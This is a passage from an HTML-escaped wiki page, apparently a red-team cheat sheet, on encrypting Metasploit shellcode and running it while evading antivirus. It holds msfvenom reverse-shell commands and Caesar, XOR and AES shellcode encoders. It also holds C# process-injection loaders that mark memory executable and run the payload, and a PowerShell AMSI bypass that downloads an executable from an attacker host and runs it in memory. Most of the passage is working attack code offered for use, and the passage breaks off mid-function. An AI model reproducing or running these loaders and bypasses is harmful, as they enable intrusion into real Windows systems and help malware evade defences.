	parser.add_argument(&amp;quot;-i&amp;quot;, &amp;quot;--lhost&amp;quot;, default=&amp;quot;443&amp;quot;, type=str,&lt;br /&gt;
			help=&amp;quot;The local host that msfconsole is listening on.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-p&amp;quot;, &amp;quot;--payload&amp;quot;, default = &amp;quot;windows/x64/meterpreter/reverse_https&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The payload to generate in msfvenom.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-m&amp;quot;, &amp;quot;--method&amp;quot;, default=&amp;quot;thread&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The method to use: thread/delegate.&amp;quot;)&lt;br /&gt;
	parser.add_argument(&amp;quot;-k&amp;quot;, &amp;quot;--key&amp;quot;, default=&amp;quot;&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The encryption key (32 chars).&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
	parser.add_argument(&amp;quot;-f&amp;quot;, &amp;quot;--format&amp;quot;, default=&amp;quot;b64&amp;quot;, type=str,&lt;br /&gt;
		help=&amp;quot;The format to output.&amp;quot;)&lt;br /&gt;
	return parser.parse_args()&lt;br /&gt;
def get_random_string(length):&lt;br /&gt;
	letters = string.ascii_letters + string.digits&lt;br /&gt;
	result_str = &#039;&#039;.join(random.choice(letters) for i in range(length))&lt;br /&gt;
	return result_str&lt;br /&gt;
if __name__ == &#039;__main__&#039;:&lt;br /&gt;
	main()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Ceasar ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace ConsoleApp25&lt;br /&gt;
{&lt;br /&gt;
    internal class FileName&lt;br /&gt;
    {&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc.....};&lt;br /&gt;
&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                // For the current byte in &#039;buf&#039;:&lt;br /&gt;
                // 1. Cast the byte to a uint (unsigned integer).&lt;br /&gt;
                // 2. Add 2 to its value.&lt;br /&gt;
                // 3. Perform a bitwise AND operation with 0xFF to ensure the result stays within a byte&#039;s range (0-255).&lt;br /&gt;
                // 4. Assign the result to the corresponding position in the &#039;encoded&#039; array.&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot; + hex.ToString());&lt;br /&gt;
            // Rest of your code...&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA Shellcode &#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { /* your shellcode byte array here */ };&lt;br /&gt;
            // Encode using Caesar cipher by adding 2 to each byte&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(((uint)buf[i] + 2) &amp;amp; 0xFF);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            uint counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== XOR ====&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;CSharp &#039;&#039;&#039;- Encrypt csharp shellcode&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f csharp&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Collections.Generic;&lt;br /&gt;
using System.Linq;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading.Tasks;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0xfc,0x48,0x83,0xe4 };&lt;br /&gt;
            // Encode the payload with XOR (fixed key)&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int totalCount = encoded.Length;&lt;br /&gt;
            for (int count = 0; count &amp;lt; totalCount; count++)&lt;br /&gt;
            {&lt;br /&gt;
                byte b = encoded[count];&lt;br /&gt;
                if ((count + 1) == totalCount) // Dont append comma for last item&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}&amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                else&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;0x{0:x2}, &amp;quot;, b);&lt;br /&gt;
                }&lt;br /&gt;
                if ((count + 1) % 15 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.Append(&amp;quot;\n&amp;quot;);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine($&amp;quot;XOR payload (key: 0xfa):&amp;quot;);&lt;br /&gt;
            Console.WriteLine($&amp;quot;byte[] buf = new byte[{buf.Length}] {{\n{hex}\n}};&amp;quot;);&lt;br /&gt;
            //// Decode the XOR payload&lt;br /&gt;
            //for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            //{&lt;br /&gt;
            //    buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            //}&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;VBA shellcode - &#039;&#039;&#039; Encrypt VBA shellcode&lt;br /&gt;
&lt;br /&gt;
REMEMBER - Check if Word is running 32-bit or 64-bit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;msfvenom -p windows/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f vbapplication&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
namespace XorCoder&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Sample shellcode (replace with your own)&lt;br /&gt;
            byte[] buf = { 252, 72, 131, 228, 240, 232, 204, 0, 0, 0, 65, 81, 65, 80, 82, 81, 72, 49, 210, 101, 72, 139 };&lt;br /&gt;
            // XOR encryption&lt;br /&gt;
            byte[] encoded = new byte[buf.Length];&lt;br /&gt;
            byte XORKey = 250;&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                encoded[i] = (byte)(buf[i] ^ XORKey);&lt;br /&gt;
            }&lt;br /&gt;
            StringBuilder hex = new StringBuilder(encoded.Length * 2);&lt;br /&gt;
            int counter = 0;  // Initialize counter&lt;br /&gt;
            foreach (byte b in encoded)&lt;br /&gt;
            {&lt;br /&gt;
                hex.AppendFormat(&amp;quot;{0:D}, &amp;quot;, b);&lt;br /&gt;
                counter++;&lt;br /&gt;
                if (counter % 50 == 0)&lt;br /&gt;
                {&lt;br /&gt;
                    hex.AppendFormat(&amp;quot;_{0}&amp;quot;, Environment.NewLine);&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;The XOR encoded payload is: &amp;quot;);&lt;br /&gt;
            Console.WriteLine(hex.ToString());&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Running encrypted shellcodes ===&lt;br /&gt;
&lt;br /&gt;
==== AES - Using python helper ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Encryptor/tree/master plackyhacker/Shellcode-Encryptor: A simple shell code encryptor/decryptor/executor to bypass anti virus. (github.com)]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/plackyhacker/Shellcode-Injection-Techniques/tree/master plackyhacker/Shellcode-Injection-Techniques: A collection of C# shellcode injection techniques. All techniques use an AES encrypted meterpreter payload. I will be building this project up as I learn, discover or develop more techniques. Some techniques are better than others at bypassing AV. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.IO;&lt;br /&gt;
namespace ProcessInjection&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        public enum Protection&lt;br /&gt;
        {&lt;br /&gt;
            PAGE_NOACCESS = 0x01,&lt;br /&gt;
            PAGE_READONLY = 0x02,&lt;br /&gt;
            PAGE_READWRITE = 0x04,&lt;br /&gt;
            PAGE_WRITECOPY = 0x08,&lt;br /&gt;
            PAGE_EXECUTE = 0x10,&lt;br /&gt;
            PAGE_EXECUTE_READ = 0x20,&lt;br /&gt;
            PAGE_EXECUTE_READWRITE = 0x40,&lt;br /&gt;
            PAGE_EXECUTE_WRITECOPY = 0x80,&lt;br /&gt;
            PAGE_GUARD = 0x100,&lt;br /&gt;
            PAGE_NOCACHE = 0x200,&lt;br /&gt;
            PAGE_WRITECOMBINE = 0x400&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocExNuma(IntPtr hProcess, IntPtr lpAddress, uint dwSize, UInt32 flAllocationType, UInt32 flProtect, UInt32 nndPreferred);&lt;br /&gt;
        private delegate Int32 ShellcodeDelegate();&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            Shellcode();&lt;br /&gt;
        }&lt;br /&gt;
        static void Shellcode()&lt;br /&gt;
        {&lt;br /&gt;
            // attempt heuristics/behaviour bypass&lt;br /&gt;
            IntPtr mem = VirtualAllocExNuma(System.Diagnostics.Process.GetCurrentProcess().Handle, IntPtr.Zero, 0x1000, 0x3000, 0x4, 0);&lt;br /&gt;
            if (mem == null)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // decrypt the base64 payload - change these to your own encrypted payload and key&lt;br /&gt;
            string payload = &amp;quot;sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&amp;quot;;&lt;br /&gt;
            string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
            byte[] buf = Decrypt(key, payload);&lt;br /&gt;
            unsafe&lt;br /&gt;
            {&lt;br /&gt;
                fixed(byte* ptr = buf)&lt;br /&gt;
                {&lt;br /&gt;
                    // set the memory as executable and execute the function pointer (as a delegate)&lt;br /&gt;
                    IntPtr memoryAddress = (IntPtr)ptr;&lt;br /&gt;
                    VirtualProtect(memoryAddress, (UIntPtr)buf.Length, (UInt32)Protection.PAGE_EXECUTE_READWRITE, out uint lpfOldProtect);&lt;br /&gt;
                    ShellcodeDelegate func = (ShellcodeDelegate)Marshal.GetDelegateForFunctionPointer(memoryAddress, typeof(ShellcodeDelegate));&lt;br /&gt;
                    func();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        private static byte[] Decrypt(string key, string aes_base64)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] tempKey = Encoding.ASCII.GetBytes(key);&lt;br /&gt;
            tempKey = SHA256.Create().ComputeHash(tempKey);&lt;br /&gt;
            byte[] data = Convert.FromBase64String(aes_base64);&lt;br /&gt;
            // decrypt data&lt;br /&gt;
            Aes aes = new AesManaged();&lt;br /&gt;
            aes.Mode = CipherMode.CBC;&lt;br /&gt;
            aes.Padding = PaddingMode.PKCS7;&lt;br /&gt;
            ICryptoTransform dec = aes.CreateDecryptor(tempKey, SubArray(tempKey, 16));&lt;br /&gt;
            using (MemoryStream msDecrypt = new MemoryStream())&lt;br /&gt;
            {&lt;br /&gt;
                using (CryptoStream csDecrypt = new CryptoStream(msDecrypt, dec, CryptoStreamMode.Write))&lt;br /&gt;
                {&lt;br /&gt;
                    csDecrypt.Write(data, 0, data.Length);&lt;br /&gt;
                    return msDecrypt.ToArray();&lt;br /&gt;
                }&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        static byte[] SubArray(byte[] a, int length)&lt;br /&gt;
        {&lt;br /&gt;
            byte[] b = new byte[length];&lt;br /&gt;
            for (int i = 0; i &amp;lt; length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                b[i] = a[i];&lt;br /&gt;
            }&lt;br /&gt;
            return b;&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Instruction:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Use the &amp;lt;code&amp;gt;meterpreter_encryptor.py&amp;lt;/code&amp;gt; to create the encrypted base64 shellcode:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
root@kali:~# ./meterpreter_encryptor.py -p windows/x64/meterpreter/reverse_https -i 192.168.1.228 -l 443 -f b64&lt;br /&gt;
[+] Generating MSFVENOM payload...&lt;br /&gt;
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload&lt;br /&gt;
[-] No arch selected, selecting arch: x64 from the payload&lt;br /&gt;
Found 1 compatible encoders&lt;br /&gt;
Attempting to encode payload with 1 iterations of x64/xor_dynamic&lt;br /&gt;
x64/xor_dynamic succeeded with size 667 (iteration=0)&lt;br /&gt;
x64/xor_dynamic chosen with final size 667&lt;br /&gt;
Payload size: 667 bytes&lt;br /&gt;
Saved as: ./msf.bin&lt;br /&gt;
[+] Encrypting the payload, key=fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec...&lt;br /&gt;
[+] Base64 output:&lt;br /&gt;
sZkMiiTitR5hQL2YXTBgjq91qq0FuEqgfR7YiKt2N1IZ8vqW3q/BrIYTjBb7nKLXCsJM25sRqh+R9WHGNsTV8webqwx7ZfAYSvlmEmzIJcKaBVdJO+Lbr7h9RomrOdyaPUAZ6P49lnsZFF1fdvnFOg/WvSdKUrx/eKEt5sNBn/Jz43y26mDEwEEqseydPQHyBcT9Av/ZkTQC6GZU8D+pQhKvXNdnlGrHJk4+G25me/Hzr0P1YuX9ZpGbyXb/pLdmdViAGAPtA/OORVt6xmij4AY24j8SLocUs2A6lSJZHYD2C1+DIc1Lyw8UJ6dtNIU2xDtsHCWX0OlkcjU+QoYpCavs78Y+OePjyBwkryWTzMyuKBgAREjbQQdsIn6dQZeqk/tKI/l6Fmhu27V+wFX7mxUP/KXWf9PI/3QYiuLmkJCWFBL9sINPbLVLePFSke8Ik3t+vp5SIcM+wMufg+TXBdUNpE//gTgCpblXdJfkkqVpMFBxnfX2vYPDcFLWteiNsnHCn9REbVB3MqJe5T55tO/CLq1KkZ2R7Z7rra6H8OhJgOLKEdJ/XHdZV9IFatAtRW2dxVo49P2YFmux2WSDiKhVRoCuLMVM6PeTuzsN+2qV4Zrq6tRAVLwmmTn5uflWER1aScePh6+6utXW/0jS+Hz7KiGP2//8+YDwzYbkLJnfn9B4AdmE4BuNTJRrv7tumsxboNkmWOx87lVElzn5ZM9OP721s8LiSyfkD1zm4o9j2u80syPeEU3PXvOU1epBTsTjdwRWlAYF+wzv3olAjPzR/xojjB602MIUNeCPn4fqDp6NjEokELcgawbWNl1vKYo4QEYgtlhVmqIkk2ooz527AEQb5EWQhkaZEWr4AAmGO1YfvYDCTcfUwV9p/jkg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Take the key and shellcode and insert it into [https://github.com/plackyhacker/ShellcodeEncryptor/blob/master/ProcessInjection.cs ProcessInjector.cs]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
// decrypt the base64 payload&lt;br /&gt;
string payload = &amp;quot;sZkMii [etc...]&amp;quot;;&lt;br /&gt;
string key = &amp;quot;fjlmjiEgnQ4K6CjNCrPlqug1HW4icMec&amp;quot;;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Compile the C# code into an executable (e.g., &amp;lt;code&amp;gt;metInject.exe&amp;lt;/code&amp;gt;) and serve it via a web server.&lt;br /&gt;
&lt;br /&gt;
Inject the executable into a remote PowerShell process:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# AMSI bypass&lt;br /&gt;
$a = [Ref].Assembly.GetTypes();ForEach($b in $a) {if ($b.Name -like &amp;quot;*iutils&amp;quot;) {$c = $b}};$d = $c.GetFields(&#039;NonPublic,Static&#039;);ForEach($e in $d) {if ($e.Name -like &amp;quot;*itFailed&amp;quot;) {$f = $e}};$f.SetValue($null,$true)&lt;br /&gt;
$bytes = (Invoke-WebRequest &amp;quot;http://192.168.1.228/metInject.exe&amp;quot;).Content;&lt;br /&gt;
$assembly = [System.Reflection.Assembly]::Load($bytes);&lt;br /&gt;
$entryPointMethod = $assembly.GetType(&#039;ProcessInjection.Program&#039;, [Reflection.BindingFlags] &#039;Public, NonPublic&#039;).GetMethod(&#039;Main&#039;, [Reflection.BindingFlags] &#039;Static, Public, NonPublic&#039;);&lt;br /&gt;
$entryPointMethod.Invoke($null, (, [string[]] (&#039;&#039;, &#039;&#039;)));&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AES - Csharp ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Security.Cryptography;&lt;br /&gt;
&lt;br /&gt;
/*-----------------------------------------------&lt;br /&gt;
 * Simple-Loader.exe: Simple Shellcode Loader   |&lt;br /&gt;
 *                                              |&lt;br /&gt;
 * Author: @jfaust0                             |&lt;br /&gt;
 * Contact: joshua.faust@sevrosecurity.com      |&lt;br /&gt;
 * Website: SevroSecurity.com                   |&lt;br /&gt;
 * ---------------------------------------------*/&lt;br /&gt;
&lt;br /&gt;
namespace goodTimes&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // CHANGE THESE VALUES --&amp;gt; Seriosuly, these should not be hard coded!&lt;br /&gt;
        public static byte[] key = new byte[] { 0x33, 0xED, 0x8A, 0x15, 0xD9, 0x26, 0xC5, 0x1C, 0x95, 0xF1, 0x4C, 0x11, 0xE4, 0x37, 0xD4, 0x5B, 0xE8, 0xDD, 0x8E, 0xED, 0xDC, 0x01, 0x38, 0xC7 };&lt;br /&gt;
        public static byte[] iv = new byte[] { 0x2B, 0x6F, 0xD1, 0xE3, 0x59, 0x6F, 0xC3, 0x31, 0x62, 0xC9, 0x98, 0x55, 0x7B, 0x00, 0xCB, 0xD1 };&lt;br /&gt;
        // MAIN&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            String app_name = AppDomain.CurrentDomain.FriendlyName;&lt;br /&gt;
            String usage = $&amp;quot;Usage: {app_name} &amp;quot;;&lt;br /&gt;
            // ENCRYPT PAYLOAD&lt;br /&gt;
            if (args.Length == 1)&lt;br /&gt;
            {&lt;br /&gt;
                if (!File.Exists($@&amp;quot;{args[0]}&amp;quot;))&lt;br /&gt;
                {&lt;br /&gt;
                    Console.WriteLine(&amp;quot;[!] File Does Not Exist!&amp;quot;);&lt;br /&gt;
                    Environment.Exit(1);&lt;br /&gt;
                }&lt;br /&gt;
                Console.WriteLine(&amp;quot;[i] Encrypting Data&amp;quot;);&lt;br /&gt;
                // Read in MetaSploit Byte[] Code from File&lt;br /&gt;
                String fileData = System.IO.File.ReadAllText($@&amp;quot;{args[0]}&amp;quot;);&lt;br /&gt;
                String tmp = (fileData.Split(&#039;{&#039;)[1]).Split(&#039;}&#039;)[0];&lt;br /&gt;
                // Translate to Byte Array&lt;br /&gt;
                string[] s = tmp.Split(&#039;,&#039;);&lt;br /&gt;
                byte[] data = new byte[s.Length];&lt;br /&gt;
                for (int i = 0; i  1)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(usage);&lt;br /&gt;
                Environment.Exit(1);&lt;br /&gt;
            }&lt;br /&gt;
            // RUN PAYLOAD&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                // msfvenom -p windows/exe cmd=calc.exe -f csharp --&amp;gt; CHANGE ME!&lt;br /&gt;
                String hiphop = &amp;quot;ZxOy1BksVfrlq8wcmyHY8GwwiBZd8NGrGQiKvx15hcv9sQ9apoO6NGbNBxAeS4NLHSz4owcdPgQTTejYJr80Ke4ynoy41yrc5RD0uqt1ppyxDAeYGATQy7xFbN247gwFee5cPZAFyBzbI6DvOLBFSJiP64kv5T7pX3iapVsX7ORmg7Ubfa1M9PcYNm5qzS9dyHxFdeD578YA6DGYC0UPzmeDXB11R0MWmPAkRGFftQp + YdurMHce1R4HC9bQ0gtm / MLHIP / UTPbIUtwrEAqQ / SYJcJCmeCPynYLNYrn9ae1xvCBokUTgdK + gpUa58ss2F4F60p1ujZNHmQ1Bn39WZmK5R4wSVmdFJpKRZXeGycAziEVlGjsS7XDKsvQvWvaZKqealuTWxH9q6n++zrRJZ0TBorjcFHKJZOLK5bNgKx0DbmFHXz + KBH400o&amp;quot;;&lt;br /&gt;
                byte[] de_data = Decrypt(Convert.FromBase64String(hiphop), key, iv);&lt;br /&gt;
                nonsense(de_data);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Shell Code Loader&lt;br /&gt;
        public static bool nonsense(byte[] shellcode)&lt;br /&gt;
        {&lt;br /&gt;
            try&lt;br /&gt;
            {&lt;br /&gt;
                UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,&lt;br /&gt;
                    MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
                Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);&lt;br /&gt;
                IntPtr hThread = IntPtr.Zero;&lt;br /&gt;
                UInt32 threadId = 0;&lt;br /&gt;
                IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
                hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);&lt;br /&gt;
                WaitForSingleObject(hThread, 0xFFFFFFFF);&lt;br /&gt;
                return true;&lt;br /&gt;
            }&lt;br /&gt;
            catch (Exception e)&lt;br /&gt;
            {&lt;br /&gt;
                Console.Error.WriteLine(&amp;quot;exception: &amp;quot; + e.Message);&lt;br /&gt;
                return false;&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
        // Used to Load Shellcode into Memory:&lt;br /&gt;
        private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
        private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,&lt;br /&gt;
             UInt32 size, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern IntPtr CreateThread(&lt;br /&gt;
          UInt32 lpThreadAttributes,&lt;br /&gt;
          UInt32 dwStackSize,&lt;br /&gt;
          UInt32 lpStartAddress,&lt;br /&gt;
          IntPtr param,&lt;br /&gt;
          UInt32 dwCreationFlags,&lt;br /&gt;
          ref UInt32 lpThreadId&lt;br /&gt;
          );&lt;br /&gt;
        [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
        private static extern UInt32 WaitForSingleObject(&lt;br /&gt;
          IntPtr hHandle,&lt;br /&gt;
          UInt32 dwMilliseconds&lt;br /&gt;
        );&lt;br /&gt;
&lt;br /&gt;
        public static byte[] Encrypt(byte[] data, byte[] key, byte[] iv)&lt;br /&gt;
        {&lt;br /&gt;
            using (var aes = Aes.Create())&lt;br /&gt;
            {&lt;br /&gt;
                aes.KeySize = 256;&lt;br /&gt;
                aes.BlockSize = 128;&lt;br /&gt;
                aes.Padding = PaddingMode.Zeros;&lt;br /&gt;
                aes.Key = key;&lt;br /&gt;
                aes.IV = iv;&lt;br /&gt;
                using (var encryptor = aes.CreateEncryptor(aes.Key, aes.IV))&lt;br /&gt;
